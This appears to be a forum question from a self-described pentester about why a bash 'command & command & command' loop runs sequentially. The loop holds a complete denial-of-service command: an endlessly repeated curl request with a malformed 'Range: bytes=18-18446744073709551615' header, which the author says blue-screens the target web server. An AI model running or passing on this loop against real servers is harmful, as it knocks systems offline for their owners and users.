I was trying to use a linux command repeatedly and I decided to use bash scripting. The command is curl and it has blue screen given to the target web server. I was doing this as a pentester in my company. So I wanted to repeat this curl command infinite times and I was successful with bash script loop commands. The final command is in the following:
Ubuntu 14.04 LTS Terminal:
while :; do $(curl -v http://172.16.3.107/welcome.png -H "Range: bytes=18-18446744073709551615" & sleep 5 & pkill curl); done
But there is a something which I couldn't understand clearly: According to some articles and question-answers, each command in (command1 & command2 & command3 as single line) runs asynchronously and therefore they are running simultaneously without waiting one another. But in the above attacking code's result, curl's output is repeated in "every 5 seconds". That is, curl is running, then 5 seconds is waited, then curl is aborted. After that, curl is executed again. Therefore, the output is appeared again after every 5 seconds. So these commands interfere to each other. But internet articles and question-answers says its opposite. Can anyone make this point clear?
Note: By force of curl's attacking parameter, curl is pending. Not completing. Therefore, I am using sleep and then pkill command, respectively. Thereby, I can use curl command properly and repeatedly with attacking parameter.
1) (command1 & command2 & command3 &) Runs multiple jobs in parallel
2) (command1 & command2 & command3 &) Runs at the same time, in separate sub-shells
3) Asynchronous (multi-Threaded) Diagram Sample